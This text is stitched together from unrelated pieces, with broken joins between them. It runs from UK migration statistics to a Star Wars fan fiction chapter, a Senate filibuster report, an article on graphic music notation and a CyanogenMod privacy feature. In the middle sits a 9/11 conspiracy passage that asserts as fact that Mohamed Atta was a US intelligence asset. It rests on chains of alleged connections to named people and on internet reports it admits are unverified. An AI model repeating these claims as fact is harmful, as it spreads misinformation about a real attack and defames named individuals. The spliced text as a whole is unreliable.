Total applications in the 12 months to September were 29,02 - up 19% on last year
The highest number were from Eritrea (3,726), followed by Sudan (2,842), Iran (2,407) and Syria (2,402). Some 162 people were resettled under the Syrian Vulnerable Persons Relocation Scheme in the 12 months up to September
UK urged to show more compassion for Syrian refugees
Analysis
Image copyright PA
By Danny Shaw, home affairs correspondent, BBC News
The release of the immigration statistics, every three months, is a day the Home Office must dread.
Since the end of 2012, net migration has being going up almost continuously. Net migration, of course, is the key figure we look for because the government is aiming to bring it down to below 100,000 by 2020.
It failed to do that by the general election in May, and, to much surprise, decided to stick with the target when critics were saying it was unachievable and should be dropped. A lot can happen in four and a half years of course, but it's hard to see how it can do it.
Emigration is broadly stable, and immigration is at record levels and rising from both EU and non-EU countries.
If ministers are to reach their goal, they'll have to reduce the so-called "pull factors". That's tough when one of the biggest attractions of the UK is its relatively buoyant economy and the prospect of work.
The ONS said the rise was due to a 62,000 increase in immigration to 636,000 and a 20,000 reduction in emigration to 300,000.
More than two thirds of the immigration increase was driven by EU citizens, the majority of whom came to Britain to work.
Immigration minister James Brokenshire said the government was committed to reforms "across the whole of government" to deliver "the controlled migration system".
"Our new Immigration Bill will address illegal working, the pull factors that draw migrants to Britain and the availability of public services which help them to remain here unlawfully," he said.
"The last two set of figures show record levels of EU immigration which show why the prime minister is right to negotiate with the EU to reform welfare to reduce the financial incentives that attract EU migrants to the UK."
The Migration Observatory at the University of Oxford said asylum remained "the smallest component" of UK immigration "by some distance".
Director Madeleine Sumption said migration for work and study were "the largest categories" and said changes in net migration were "mainly being driven" by economic factors like the success of the UK economy rather than by new policies.
Alp Mehmet, vice chairman of Migration Watch UK, said the figures were "very disappointing" and warned "the pressure on our infrastructure will intensify" if the numbers continued to rise.Finally, if one looks at the affiliations of the attack leader and financiers, one will see multiple linkages to US covert operations and U.S. intelligence allies.
• Mohammed Atta, reportedly responsible for coordinating the attacks, trained his men and himself at the Huffman Aviation Flight Training school. That school was funded by Wally Hilliard, with Oryx Corporation. Oryx was founded by Adnan Khashoggi and Sheik Kamal Adham, director of Saudi intelligence (1963-79). Khashoggi was the individual that brokered the meeting between terrorists and the Yeltsin Family. Khashoggi was also extensively involved in the following Bush operations: the October Surprise, Iran-Contra, Azerbaijan, Barrick Gold and the Marcos Gold.
• Mohammed Atta during his time in the U.S. remained a close friend of Wolfgang Bohringer, an apparent CIA agent.
• Hilliard, nominal owner of the training facility which acted as cover for the terrorists, is a significant investor in a small California defense/electronics company (Spatialight, Inc.) with Farhad Azima, another member of the Iran-Contra/Azerbaijan group. Azima’s role had been to coordinate air transportation for covert US intelligence operations for Iran-Contra and Azerbaijan.
• Hilliard is reported as a close friend of CIA agent Mark Schubin, whose father was a KGB colonel.
• Hilliard is also strongly linked to the Jeb Bush political machine in Florida, and has had his commercial transport operations endorsed by that group.
• Mohammad Atta, as can best be determined, received funding from three foreign intelligence agencies aligned with the US: Pakistan, Syria and Germany. His father contended he actually worked for a fourth – the Mossad!
• Director of the ISI (Pakistani) Intelligence director-general Lt-Gen Mahmud Ahmad. The week of September 11, General Ahmad was meeting with Bob Graham, Porter Goss and Richard Armitage. Gen Mahmud Ahmad was responsible for having $100,000 transferred to Mohammed Atta.
• While in Germany, Atta worked as an employee of Tatex Trading which was owned primarily by Mohamad Majed Said, a former head of Syria’s General Intelligence Directorate.
• In coming to Germany, Atta was funded with a scholarship and employed as a tutor by an organization known as Carl Duisberg Gesellschaft. Subsequent Internet reports linked the Carl Duisberg Society to administration by the U.S. Information Agency, but this had not been verified by any government documentation. There are Internet reports that the scholarship was jointly funded by USAID. The more interesting aspect of Carl Duisberg Gesellschaft is that it’s Managing Director is Bernd Schleich, the same individual who is Managing Director of InWEnt (Internationale Weiterbildung und Entwicklung). If one investigates the activities and research of InWEnt, it appears to be a commercial intelligence operation that does studies on such matters as money-laundering, weapons trades, drug smuggling, and anthrax control in such places as South America, Central Asia and Africa. Carl Duisberg Gesellschaft has a fellowship funded by Alpha Group, the Russian Bank represented in the U.S. by former George H.W. Bush administrators Ed Rogers and Lanny Griffith.
• Mohammed Atta’s father claimed his son was working for the Mossad. Supporting this view, Atta was reported as having left phone records of calls to a company named “Virtual Prototypes.” Virtual Prototypes Inc. would later change its name to eNGENUITY Technologies. It seems as though the type of work done at eNGENUITY was of more interest to the Israeli government, than it might be of use to a group such as Al Qaeda, as the Israelis made significant purchases from eNGENUITY three years later.
• Mohammed Atta would be discovered to be a legal business partner to Hassan Erroudani, who through the Moroccan American Chamber of Commerce would be associated with the Allied Media Group, a major recruiter for US Defense organizations and private security firms. Their customers would include:
• USAF
• US Army
• FBI
• US Treasury
• Department of Justice
• Department of State
• CACI
• Young & Rubicam
• Burson Marsteller
Atta and his sponsor’s were not jihadists. As a “terrorist pilot” he spent his last year in the U.S. in the companionship of two CIA pilots (Schubin and Bhoringer). He trained his team at a facility financed by a known financier for CIA operations (Khashoggi). He was a business partner with a CIA recruiter (Erroudani) and he was funded by four pro-CIA intelligence agencies. In essence, Mohamed Atta was a US intelligence community asset working for the United States government.
For at least four years while living in Hamburg during the 1990’s terrorist ringleader Mohamed Atta was part of a ‘joint venture’ between the U.S. and German Governments, the MadCowMorning News has learned, an elite international ‘exchange’ program run by a little-known private organization with close ties to powerful American political figures like David Rockefeller and former Secretary of State Henry Kissinger. The jointly-funded government effort picked up the tab for Atta on sojourns in Cairo, Istanbul, and Aleppo in Syria during the years 1994 and 1995 and employed him as a ‘tutor’ and ‘semi |
has estimated.
In the meantime, the National Park Service is launching a live online EarthCam view of the monument and of the National Mall.
The monument lighting also marks Rubenstein's role in a larger campaign to restore neglected sites on the National Mall, officials said. The co-founder of the Carlyle Group investment firm has joined the nonprofit Trust for the National Mall as a co-chairman to help raise $350 million to preserve and restore sites in the nation's most-visited national park.
"He's taking his leadership role as a co-chair of the campaign for the National Mall very seriously,'' said Caroline Cunningham, the fundraising group's president."We're really grateful for not only his passion about the restoration of the Washington Monument but his passion for the campaign to restore the National Mall.''
Copyright Associated PressWith the development of music notation, music was set free from the delicate bonds of oral and aural traditions. A standardized, underlying structure meant that everything from Gregorian chant to “Johnny B Goode” could be preserved and proliferated with relative ease. However, beginning in the years after World War II, some more progressive musicians and composers began to think that the music staff might be more restricting than liberating and began to experiment with new, more expressive forms of graphic music notation.
American composer John Cage explored the use chance and indeterminacy in his musical compositions with the aim of erasing his own subjectivity from his music, the hand of the artists, as it were. To communicate his indeterminate “compositions,” to use the term loosely, Cage developed elaborate methods of graphic notation involving a series of transparencies. He first used this method in the 1958 score for “Variations I,” which consisted of six transparent squares – one with 27 points representing sound and five with five lines, representing any assigned musical value. The composition was derived by placing the squares on top of one another in any combination. Cage would continue to develop and expand this method throughout the 1950s and ’60s, as seen in the top image depicting the somewhat more elaborate score for “Fontana Mix.” Cage’s notation consists of four multi-channel cassette tapes, ten transparencies inscribed with tiny dots, one transparency bearing a straight line and ten sheets of paper on which colored squiggly lines were drawn, and a graph paper-like “staff.” The transparencies were used to derive coordinates that were then used to determine which tape was used, as well as the values of the sound from teh tape: length (in inches), volume, timbre, and so on. According to the All Music Guide to Classical Music, Cage described the score as “a camera from which anyone can take a photograph.”
Steve Reich’s score for “Pendulum Music” is a straightforward, written set of instructions describing how the piece is staged and performed. The above recording was made by Sonic Youth for their 1999 album SYR4: Goodbye 20th Century. Parts of the handwritten score are a little difficult to read so here’s a transcription:
“2, 3, 4 or more microphones are suspended from the ceiling by their cables so that they all hang the same distance from the floor and are all free to swing with a pendular motion. Each microphone’s cable is plugged into an amplifier which is connected to a speaker. Each microphone hangs a few inches directly above or next to it’s speaker. The performance begins with performers taking each mike, pulling it back like a swing, and then in unison releasing all of them together. Performers then carefully turn up each amplifier just to the point where feedback occurs when a mike swings directly over or next to it’s speaker. Thus, a series of feedback pulses are headed which will either be all in unison or not depending on the gradually changing phase relations of the different mike pendulums. Performers then sit down to watch and listen to the process along with the audience. The piece is ended sometime after all mikes have come to rest and are feeding back a continuous tone by performers pulling out the power cords of the amplifiers.”
In 1978 musician Brian Eno created the seminal album Ambient 1: Music for Airports. Eno coined the term “ambient” to describe this atmospheric soundscape and distinguish it from the canned “elevator music” pioneered by Muzak. In so doing, he created not just an album, but an entire genre of music. Eno was inspired by composers like Cage and Reich, but had no formal music training. When asked by an interview why he never learned to read music, Eno, who preferred to composes directly onto tape, replied:
“It wouldn’t be very useful for me. There have been one or two occasions where I was stuck somewhere without my tape recorder and had an idea, tried to memorize it, and since a good idea nearly always relies on some unfamiliar nuance it is therefore automatically hard to remember. So on those very rare occasions I’ve thought, ‘God, if only I could write this down.’ But in fact, quite a lot of what I do has to do with sound texture, and you can’t notate that anyway … That’s because musical notation arose at a time when sound textures were limited. If you said violins and woodwind that defined the sound texture, if I say synthesizer and guitar it means nothing – you’re talking about 28,000 variables.”
In lieu of traditional notation then, Eno created the graphics seen above, which seem to be more concerned with communicating a visual impression of the music and aren’t truly intended to be used as a guide for actually playing the music.
Krzysztof Penderecki’s “Polymorphia” was commissioned by the North German Radio Hamburg in 1961. As the name suggests, the piece does indeed take various forms and changes dramatically from section to section. With “Polymorphia,” Penderecki was searching for new sonic possibilities and, if those possibilities include “terrifying haunted house music,” he absolutely nailed it. The composition is intended for 48 string instruments and emphasizes timbre rather than pitch, and the collision of sound generating bodies made of metal, wood, or leather – what music scholar Danuta Mirka refers to as the composer’s “primary materials”. The notation was inspired, in part, by electroencephalograms –visual measurements of brain activity. It eschews traditional measures in favor of a score divided into sections of variable length and, in some sections, further vertical divisions to mark each second, with a “total pitch space” describing the relative pitch of each instrument.
English composer Cornelius Cardew’s “Treatise” was written from 1963-1967. It consists of 193 pages of graphic notation that employs ambiguous numbers, shapes, and symbols that Carew intended to be interpreted by the performer. He suggests that performers agree on their own rules prior to the performance, but provides no other explicit instructions for interpreting the piece. In the “Treatise” handbook, Cardew offers additional, cryptic advice such as “Remember that space does not correspond literally to time” and “There is a great difference between: a) doing anything you like and at the same time reading the notations, and b) reading the notations and trying to translate them into action. Of course you can let the score work on previously given material, but you must have it work actively.” The only constant throughout “Treatise” is the thickly drawn “life line” at the center of the score. It has no intrinsic value but is often used by performers as a baseline reference for pitch or some other musical value. Ultimately, “Treatise” is notation as art form. As Carew says, “The notation is more important than the sound. Not the exactitude and success with which a notation notates a sound; but the musicalness of the notation in its notating.”
In closing, the half notation. I only count it as half because it uses a traditional notation system, just not a music notation system. In 1968 John Cage played a chess match against Marcel DuChamp as part of the collaborative performance, Reunion (pdf), which also featured electronic music by David Behrman, Gordon Mumma, David Tudor and Lowell Cross. Given his interest in chance, it’s no surprise that Cage conceived of the work, but it was composed by the aforementioned musicians. The board itself was designed by Cross and concealed photo-resistors, contact microphones, and connections to sound generators. During the match the movement of the pieces activated lights and electronic music, transforming the exhibition environment according to the movement of the pieces on the board. The art of the chess transformed into music and light, a sort of strategic synesthesia. It’s a fascinating idea. What would the Sicilian Defense sound like? Or a Queen’s Gambit?
The above examples represent both notation for experimental music and experimental notation for music. But they’re just of few of the many modes of graphic and experimental notation that have been explored by artists over the last 60 or so years. While some artists find restrictions inspiring –even if those restrictions are as seemingly limitless as music notation– others find that progress can only be made by shattering the accepted modes of production and communication. And while the results may not be always enjoyable, they’re undeniably interesting and represent a sincere effort to push an art form into unexplored territory. Avant-garde in the truest sense of the word.The Last Jedi
Characters: OCs
Era: Future 332 NE (462 ABY)
Summary: There are no Jedi. There are no Sith. There are Abnormals—persons born with a midi-chlorian count proscribed at a dangerous level by the Galactic Empire. Those persons are euthanized immediately upon discovery. When one abnormal boy is discovered and taken to his fate, the last living Jedi steps forward to set his feet upon the path of a new history.
This story is inspired by a vignette by too_old4this called "Were they real?" Thanks to Jedi-Aurelan-Carter for beta reading the first 5 chapters.
The Last Jedi
Part I: Fugitive
Chapter One: Far From A Normal Life
On his tenth lifeday, which happened to fall on the second school day of the week before Unity Day on the 332nd year of the New Era, Tobin S'Artin was sentenced to death.
"For Genetic abnormalities detrimental to the well being of the Empire," was the way the local magistrate put it as he read from the flimsi proclamation. The magistrate had come to Tobin's school with two real-life troopers who carried real-life blaster bracers and stared at Tobin as if he were a hardened criminal.
The other students were staring at him as well, only in stunned silence. This was just Tobin—the quiet kid who laughed at the silly humor strips on his palm reader; who was so shy he couldn't talk to girls; who was beat up on his second day of school by Sha'rad the Rodian who terrorized all the students in their age-group.
"I don't understand," Tobin said. "Where's my mom?"
The magistrate stared coldly at the boy. "Jalia S'Artin is also being taken into custody on charges of genetic abnormalities detrimental to the Empire, falsifying official genetic records and harboring a known abnormal child."
In the back of the class Sha'rad snickered. Tobin turned and stared, stricken. He was going to die and the little Rodian toad was laughing?
"Is there no appeal?" his teacher Soola Dayaala asked. Her blue lekku spilled over her shoulder as she assumed a pleading stance. Though Tobin was only ten, his mother had taught him to read body language. He noticed the way Miss Dayaala leaned forward to expose more of her sea-colored cleavage even as she assumed an expression of hope and trust. It was effective, but not effective enough.
The magistrate's expression softened slightly before the teacher's imploring stance, but he still shook his head. "His tests were rechecked last week by the school nurse and the order was confirmed by the Secretary of Genetic Purity on Corusca. The child and his mother both have the abnormal markers. She knowingly falsified his first tests to hide the fact when they immigrated to this world. There is nothing we can do. His existence is a threat to the Pax Galactica that has given us all peace for these past two hundred years."
The larger man flicked his fingers and the two troopers stepped forward.
Now, Tobin, a familiar voice whispered in his mind. Run now!
With a frightened cry, Tobin held out his hand and pushed. One of the troopers flew backward with such velocity that he cracked the wall lining. The push clipped the second trooper on his shoulder and sent him spinning. Students started screaming and scrambling away from Tobin the Abnormal, for fear of being contaminated.
Tobin spun on his heel and pushed at the window. The window blew open as if from a strong breeze. Tobin did not hesitate as he leaped head-first through the opening.
The first rule: any time you enter a building you must find all the ways to get out of it, his mother told him. He was only five at the time and didn't really understand the reasons behind the rule. He didn't need to. His mother did not require understanding, only obedience. And so when the two of them immigrated to Nalderaan last year and he started his new school, the first thing he did was check to see if the windows were actually functional or just for display. He checked all the entrances to the main tower; he studied the ventilation system of the building; and then he'd prepared a report to his mother on how he would escape if there were a fire.
Or if troopers came with an Imperial magistrate to kill him.
He felt his mother's presence in his head now. She was coming for him; he just had to stay alive long enough for her to reach him.
All these thoughts passed through his mind in the three seconds between when he jumped out of the window to when he landed one floor down on the soft orange-green grass of the school grounds.
He rolled the moment his feet touched the ground to help absorb the force of the impact. He had just the barest moment of warning in his mind—just a split second to jump—before the ground exploded in a shower of dirt. He rolled away and saw another trooper pointing his bracer blaster at him.
Tobin managed a terrified squeal before he scrambled to his feet and ducked behind an annex building. The moment he was hidden from view he took a breath to summon the Force and jumped as hard as he could. The jump was just high enough for him to catch the edge of the roof. He pulled himself over the edge with a grunt and then rolled away. He heard the crunch of the trooper's boots below him.
The man was probably reporting that Tobin was hiding, but Tobin would never know for sure. Trooper helmets were self contained and were only audible when the trooper wanted to be heard.
Tobin started crawling over the roof of the annex when he felt eyes on him. He turned and looked at the main school tower. In every window, on every floor, thousands of his classmates were staring at him. One girl on the third floor even waved at him. Her name was Seela Flist. She was a year younger than him and sat with him once at lunch.
He wanted to wave back, but he was simply too afraid. If the children could see him—he spun around at the sound of thrusters and saw the trooper from before clearing the edge of the roof.
"Halt!" the trooper shouted.
Tobin held up his hands.
"On your knees!" the trooper barked.
Tobin dropped to his knees. The trooper walked toward him with his bracer held level at Tobin's face. "Please don't kill me," Tobin whispered.
"Shut up!" the man said. He stomped forward and back-handed Tobin with his gauntlet. The power of the impact sent the ten-year-old boy spinning across the roof. He saw stars and tasted blood. His whole face felt numb.
He turned and saw the trooper walking toward him. The bracer was no longer pointed at him—the trooper walked with a confident swagger. Why not be confident? Abnormal or not, what could a child do to him?
Tobin screamed as he harnessed the Force just as his mother taught him. The trooper let out a brief "What the…" before he was gripped in the invisible power of Tobin's mind. Tobin spun about and flung the trooper across the space between the annex and the tower. The trooper somersaulted in the air and struck the main tower head-first with a sickening crack against a closed, shatter-proof window. He fell boneless to the turf while the children who had been standing at that window backed away screaming. Tobin could not hear them, but he could imagine the sound easily enough from their horrified faces.
Tobin had killed a man. He had killed an Imperial Trooper.
He looked up at the windows. Seela was no longer waving at him.
He turned away from the tower and ran across the roof of the annex. He could hear more thruster packs as other troopers took up the chase. Two cleared the edge of the roof behind him and immediately started firing.
He could feel the sizzling red bolts as he dodged left and right. Growing up, dodging stunners had been a game he played with his mother. They would go to a park or some other out of way place with no people and shoot at each other with little self-defense stunners.
Now he dodged blaster bolts that could vaporize his chest in a microsecond.
He could not dodge the roof, though. A volley of blaster bolts struck the roof of the school and sent Tobin flying over the far edge in an uncontrolled tumble. He ducked and spun as he was taught, but didn't have enough time to recover his balance before he hit.
He heard a snap and screamed in pain as his ankle folded under him.
I'm sorry, Mother, he cried in his mind. The two troopers reached the edge of the roof and hopped down without even bothering with their thrusters. The augmented joints of the armor easily absorbed the pressure of their landing. Two more stepped around the back of the annex, followed by the magistrate himself. The magistrate's face was livid with rage.
Tobin looked away. He didn't want to see the bolt that killed him. Instead, he looked across the lawn at the playground for the early learning center next door. There were several dozen children there, six through eight years of age, still in the eidetic imprinting stage of their education. The teachers were staring as well, and seemed so shocked they didn't even think to gather their charges to safety.
"Enough of this," the magistrate said. "He is obviously dangerous, even for one his age. Troopers, shoot him now."
Tobin squeezed his eyes shut against the tears. He heard a primal cry of terror without realizing it was him making the noise. He felt a sudden jerk just as he heard the sound of blaster bracers firing and found himself flying through the air. A moment later he felt arms around his shoulders and a blessedly familiar presence in his mind. "Mother!" he cried. "I'm sorry."
Jalia S'Artin stared down at him with a sad smile on her red lips. Flaming red hair fell about her oval-shaped face, while green eyes blazed with both compassion for him, and fury for those who would do him harm.
"Stay here," Jalia whispered. She stood, straddling him.
"Jalia S'Artin," the magistrate said. "Why am I not surprised you escaped? Know that you and your abnormal whelp have been found to possess genetic abnormalities detrimental to the well-being of the Empire. You are to be executed at once." He nodded to the four troopers. "Kill her."
A blue beam of light snapped on with a hum. The magistrate's eyes widened, but the troopers did not hesitate. They opened fire with their bracers.
The blue lightsaber seemed to take on a life of its own; spinning with such speed Tobin could not even follow the actual blade. It seemed instead a blue wall of energy protected him, sending the blaster bolts back to those shooting.
The troopers, however, were not just mindless soldiers. To be an Imperial trooper meant four years of the toughest training in the galaxy. One man did fall in the first volley of returned fire, but the other three rolled away to better flank the lone woman and the son she fought to protect.
Jalia was hampered by her need to protect Tobin. Tobin could see she was limited almost solely to defense. She needed help.
He was not as good at pulling things as he was at pushing, but his mother had been teaching him all of his life. He concentrated on the fallen trooper. He briefly thought about trying to summon just the bracer, but remembered his lessons. The bracer was connected to the whole suit of armor and drew power from the supply pack over the thruster assembly.
Instead, he concentrated on the whole body. With a surge of will, Tobin pulled the man not toward himself, but toward the trooper on their right. The trooper in question did not even see his fallen comrade until the body plowed into him, sending both to the ground.
Suddenly, having to fight only two opponents, Jalia darted forward with blurry speed and flashed her saber at one man while holding out her left hand toward the other. The first man fell to the ground in two pieces; the second let out a startled shout before he was lifted off his feet and thrust backward so hard he actually tore through the permacrete wall of the school annex. Even armored, there was no way he could survive such a blow.
The remaining trooper was trying to push his fallen comrade off him when Jalia reached him and with a swipe of her lightsaber sent the man's head rolling toward the early education center.
The young children and teachers stood as if paralyzed, watching the whole encounter. They watched, that is, until the helmeted head came rolling toward them. The children started to scream while the teachers attempted to corral them back into the school.
Throughout the battle the magistrate stood frozen in place, his face an unreadable mask. In a way, it was rather brave.
Jalia knelt down beside her son. "Can you walk?"
"I think it's broken," he said through his tears of pain.
She placed a hand on the ankle. It instantly went numb. "You're going to pay for that later," she said, "but I can't afford to carry you." She looked up at the magistrate and flicked a hand. The man stumbled forward.
"Where is your transport?"
"I won't help you," the magistrate said. Though there was a tremor in his voice, his face remained unreadable. "The law is clear. Your power is the result of a disease that has caused chaos and bloodshed throughout the history of the galaxy. For the sake of the whole Empire, you and your son must die."
"Try it and you die, and my son and I will escape regardless."
"You think so?" The magistrate shook his head. "You are not the first Abnormals we've encountered."
"But I will be your last," Jalia said.
The magistrate stared. "You cannot escape."
"You cannot stop me," Jalia countered. "Step aside."
He lifted his chin. "I believe in the justness of the Empire's laws. Kill me if you must—I will not move."
With an impatient sigh Jalia waved her hand again. The magistrate was tossed bodily against the annex, although not with the power as the previous trooper. "I am not Abnormal," she growled to the man. "I am a Jedi. If I were anything else, you would be dead by now. Remember that."
"The Jedi are a myth. You are nothing more or less than a curse on the face of the galaxy," the magistrate said from the ground. "Rest assured, I will remember you."
Freed of obvious enemies, she took Tobin's hand and the two ran around the annex toward the front of the school grounds. There they saw the armored Imperial transport van waiting for them. A single trooper stood guard.
Tobin watched as his mother let go and ran forward so fast she blurred again. The trooper barely had time to lift his bracer before she cut him down. Once he was down, Tobin made his way to the transport. He was limping and could actually feel a grinding sensation in his ankle, but because of his mother's power it remained numb.
His mother did not speak as she activated the transport van's controls and they soared into the sky. He had never seen her fly anything—they always took public transportation either to school or to the commerce centers. But as he watched her hands move across the controls with confidence and precision, he realized that she must have learned how to fly from somewhere.
"Mother," he started to say.
Gently, she reached across and placed her finger against his lips. "Not now, Tobin," she said. He knew her well enough to see the tension and fear in her eyes, and the way her nostrils flared with each breath. He realized then that she had never been so angry in her life.
Suddenly she pulled the control wheel out and the van pulled up into a steep climb. Only then did Tobin see a pair of fighters descending on them. He held his breath and pulled the safety harness tighter as his stomach turned.
The fighters obviously weren't expecting the van to turn directly into their path. They fired a few shots from their cannons, but quickly swerved out of the way. Almost as soon as they were view, Jalia pushed the wheel in and the van turned and began plummeting toward the streets of the city below.
Nalderaan was a relatively new world, but even so its capital city was large. The van fell in between shining white towers toward the first of the sky roads. The two fighters followed right behind.
The traffic continued apace without any clue as to the danger approaching. Tobin couldn't help but release a squeal as the van shot through the center of the traffic. The two fighters followed, but being larger, both impacted on passing traffic.
One fighter struck a tibanna transport. The explosion immediately engulfed the other fighter and perhaps fifty other vehicles, all of which fell burning out of the sky.
The van's descent ended abruptly just meters above the permacrete surface of the city floor. Jalia leaned forward, peering through the windows until she found what she wanted. She brought the van to a halt and turned to her son. "Get out and go stand on that curb there."
"What?"
"Now, Tobin!" she barked.
Tobin did as he was told. He watched as the van soared up and away, leaving her standing on the other side. She kept her eyes on the van as she backed slowly toward him.
A moment later a second pair of fighters swooped toward the van, green cannons blasting away. The van disappeared in a ball of fire, and then ceased to exist.
With a curt nod to herself, Jalia grabbed Tobin's arm and led him up the sidewalk. "Mom, I'm really scared," he said.
She paused and knelt down before him. She took his face in his hands and stared hard into his eyes. "I know you are, Tobin," she said gently. "I'm so sorry this is happening to you. I tried to protect you as best I could."
She pulled him into a tight hug and held him there for there for the longest time. Then she pulled back and stood. "We need to get going. We don't have much time before we have to get off the planet."
An hour later Tobin crouched behind a trash bin near the thrift shop, waiting for his mother to emerge. His ankle was starting to throb. He tried the meditation exercises she showed him, but all they served to do was dull the very edge of the pain. The deep, grinding pain remained.
Jalia emerged from the store a few moments later carrying a bag of clothes. "Put these on," she said.
Tobin started to do as she said until… "Mother, these are girl clothes!"
"The Imperials are looking for a mother and her son," Jalia said. "You'll survive being embarrassed. You won't survive euthanasia. Just put them on."
Tobin was an ordinary boy. He was not above resisting his mother's orders or even fighting with her. But when the magistrate came in and announced his death, he knew so much fear that the minor embarrassment of wearing a dress no longer seemed important. He pulled the clothes on, and then stood patiently as his mother pulled a brunette wig over his own short-cropped hair. She then applied a touch of make-up to his cheeks and lips and leaned back to view her results.
"The miraculous ambiguity of youth," his mother said. "You're as beautiful a girl as you are handsome a boy. This might buy us enough time to get to our contact and get you off planet. How's your ankle?"
"It really hurts."
She knelt down and he could see from her face that it was a bad break. Still, she held it with both hands and the grinding pain faded away not before numbness, but before a heat that bordered on the unbearable. He lost all track of time as she knelt before him. His hand rested on the silky strands of her hair as much for balance as comfort. The heat was more intense than anything he'd felt, but it did not burn him.
"There," Jalia whispered with an exhausted gasp. She did not stand—rather she rocked back and sat on the permacrete. She suddenly looked gaunt and sweaty.
"Mother?"
"Let's just say you are already a more powerful healer than I am," she told him. "But you should at least be able to walk on it. Don't run, for Force's sake, but you should be able to walk now for at least an hour or so."
He put weight on it, and was delighted to find that the deep, grinding pain was gone. It was definitely tender, but it no longer hurt nearly as bad. "Thanks, Mother," he whispered.
"You're welcome. Now, come on. We don't have much time."
"Where are we going?"
"To a sanctuary," she said.* Top Senate Democrat mulls "nuclear option"
* Republicans could lose power to block Obama's nominees
By Thomas Ferraro
WASHINGTON, July 9 (Reuters) - U.S. Senate Majority Leader Harry Reid, frustrated by a dysfunctional and unpopular Congress that has been unable to perform basic tasks such as agreeing on a federal budget, may soon seek an unprecedented rules change in the Senate.
The Nevada Democrat's aim would be to strip Republicans of their ability to stop President Barack Obama's judicial and executive branch nominees with procedural roadblocks known as filibusters, which also have been used to halt much of the president's legislative agenda.
Republicans charge that such a move would effectively turn the 100-member Senate into the House of Representatives where the rules already allow the chamber's majority to virtually ignore the minority.
"I'm worried, very worried," said veteran Republican Senator John McCain of Arizona. "There has been wrong on both sides, but this could destroy the Senate."
Filibusters were designed to permit the minority to demand unlimited debate and force the majority to compromise. They initially required senators to stand and speak, ending when the speaking stopped.
But the rules were changed years ago to simply permit these procedural roadblocks to continue until the opposing side could muster a super-majority of votes, now 60.
"This place can't continue to operate and function with the filibuster being used the way it is now," said Democratic Senator Tom Harkin of Iowa.
Republicans deny being obstructionist, citing scores of Obama nominees who have been confirmed. They accuse Reid of trying to pick a fight to fire up his party's liberal base.
Senate Republican Minority Leader Mitch McConnell said on Tuesday that Democrats apparently wanted to change the rules because they weren't getting everything they wanted when they wanted it.
"Let's get real here. That's not how a democracy functions," McConnell declared in a speech in the Senate.
Sixty-seven votes are needed to change Senate rules, including those for the filibuster. But Democrats, who control the chamber, 54-46, could do it with 51 by using for the first time a procedural power play dubbed the "nuclear option."
Here's how:
In open session, the Senate parliamentarian would formally advise the chamber's presiding chair, Vice President Joe Biden or his designated stand-in, that 67 votes are needed for a rule change.
The presiding chair would echo the parliamentarian's finding, prompting Reid to move to overrule the chair and propose that all rules changes could be done with just 51 votes. Senate procedure permits most matters, including overruling the chair, to be decided by a simple majority.
Democrats would then change the rules again, this time to reduce to 51 from 60 the number of votes needed to end filibusters against judicial and executive branch nominees.
Democratic aides say Reid is considering only changing the rule on filibusters for nominations, not legislation. But once a precedent is set, both sides note, it could be extended.
'VERY FRUSTRATED'
Reid is expected to decide whether to ask Democrats to pull the trigger in the coming weeks, but first wants to see if Republicans block a number of embattled nominees, aides say.
The nominations include: Gina McCarthy to head the Environmental Protection Agency, Thomas Perez to become the secretary of the Labor Department and Richard Cordray to be director of the Consumer Financial Protection Bureau.
There are also at least three spots on the National Labor Relations Board that require Senate approval.
None of these nominees have been filibustered this year, but Republicans say they might be.
Senate Republicans have vowed to block any director for the Consumer Financial Protection Bureau until there are structural changes in the agency created to combat fiscal fraud.
Republicans also have opposed nominees at the NLRB, hobbling the federal agency that investigates charges of unfair labor practices.
Democratic Senator Jack Reed of Rhode Island declined to predict what Reid will do.
"But I can tell you that Harry (Reid) is very frustrated and rightfully so about the failure of the Senate to confirm a number of executive appointees, not because they are not qualified, but because Republicans don't like their agencies," Reed said.
An earlier threat to invoke "the nuclear option" was averted in January when a deal was reached that was supposed to make the Senate confirmation process more efficient and less hostile.
But Democrats now accuse Republicans of violating the deal. Republicans deny it and argue that Reid made an unconditional promise not to use the "nuclear option," a charge denied by Democrats.
The move has been repeatedly threatened over the years by both parties but has never been invoked, primarily because the party in the majority knows that it eventually will be back in the minority and likely want the filibuster in its arsenal.
Republicans warn that if Democrats invoke "the nuclear option," they will retaliate when they return to the majority, likely with Obama's 2010 healthcare restructuring law.
While Reid expects at least a couple of fellow Senate Democrats to oppose "the nuclear option," he doesn't expect much, if any, backlash from the public, which gives Congress a record low approval rating of close to single digits, aides say.
"The public doesn't like Congress. Reid wants to change how it works. Republicans will be defending the status quo. We expect to win that argument," a Democratic aide said. (Reporting by Thomas Ferraro; Editing by Paul Simao)
Our Standards: The Thomson Reuters Trust Principles.What if you could privately use an application and manage its permissions to keep ill-intending apps from accessing your data? That’s exactly what Steve Kondik at CyanogenMod—the aftermarket, community-based firmware for Android devices—hopes to bring to the operating system. It’s called Incognito Mode, and it’s designed to help keep your personal data under control.
Kondik, a lead developer with the CyanogenMod team, published a post on his Google Plus profile last week about Incognito Mode. He offered more details on the feature:
I've added a per-application flag which is exposed via a simple API. This flag can be used by content providers to decide if they should return a full or limited dataset. In the implementation I'm working on, I am using the flag to provide these privacy features in the base system: Return empty lists for contacts, calendar, browser history, and messages.
GPS will appear to always be disabled to the running application.
When an app is running incognito, a quick panel item is displayed in order to turn it off easily.
No fine-grained permissions controls as you saw in CM7. It's a single option available under application details. The API provides a simple isIncognito() call which will tell you if incognito is enabled for the process (or the calling process). Third party applications can honor the feature using this API, or they can choose to display pictures of cats instead of running normally.
Every time you install a new application on Android, the operating system asks you to review the permissions the app requests before it can install. This approach to user data is certainly precarious because users can't deny individual permissions to pick and choose what an application has access to, even if they still want to use that app. Incognito Mode could potentially fix this conundrum, enabling users to restrict their data to certain applications.
“This would theoretically allow you to disallow the app from connecting to the Internet, accessing your contacts, using the GPS, etc.” Kondik told Ars in an e-mail. He went on to write that the development of Incognito Mode is largely in response to malware-like features of some applications that have been gathering private data for data mining. “I had been thinking about how we can improve the privacy situation and put the power back in the hands of the user,” Kondik continued. “I proposed ‘Run in incognito mode’ on one of our internal development groups.”
Since not all applications are malicious, users will be able to enable Incognito Mode on a per-app basis. The option will be available within each application’s individual settings. The feature is applied by simply checking off the option in each app’s settings menu. It will hide all personal data—like contacts, call logs, and MMS—from any application that you want to use but don't fully trust. If the app asks for your contacts, for instance, it will retrieve an empty list. If it asks for your location, the system will tell it that GPS is disabled.
